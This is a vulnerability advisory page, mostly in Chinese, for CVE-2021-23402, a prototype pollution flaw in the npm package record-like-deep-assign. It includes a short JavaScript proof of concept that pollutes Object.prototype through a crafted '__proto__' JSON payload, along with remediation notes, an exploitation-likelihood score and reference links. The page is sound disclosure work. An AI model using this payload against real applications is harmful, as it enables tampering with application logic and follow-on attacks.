CVE-2021-23402

描述

All versions of package record-like-deep-assign are vulnerable to Prototype Pollution via the main functionality. ### PoC ```js const deepAssign = require('record-like-deep-assign'); let obj = {}; console.log("Before being polluted: " + obj.polluted); EVIL_JSON = JSON.parse('{"__proto__":{"polluted":true}}'); deepAssign({}, EVIL_JSON); console.log("After being polluted: " + obj.polluted); ```

如何修補 CVE-2021-23402

目前尚未發布修補版本。可考慮移除受影響套件,或參考下方連結中的上游建議。

• —未列出修補版本

CVE-2021-23402 正在被利用嗎?

低 — EPSS 為 0.5%,目前沒有觀察到大規模利用活動。

受影響套件(1)

• from 0, <= 1.0.1

CVSS 分數

參考連結(4)

• ADVISORYnvd.nist.gov/vuln/detail/CVE-2021-23402
• PATCHgithub.com/kripod/record-like-deep-assign
• WEBgithub.com/kripod/record-like-deep-assign/blob/v1.0.1/src/mod.ts%23L17-L35
• WEBsnyk.io/vuln/SNYK-JS-RECORDLIKEDEEPASSIGN-1311024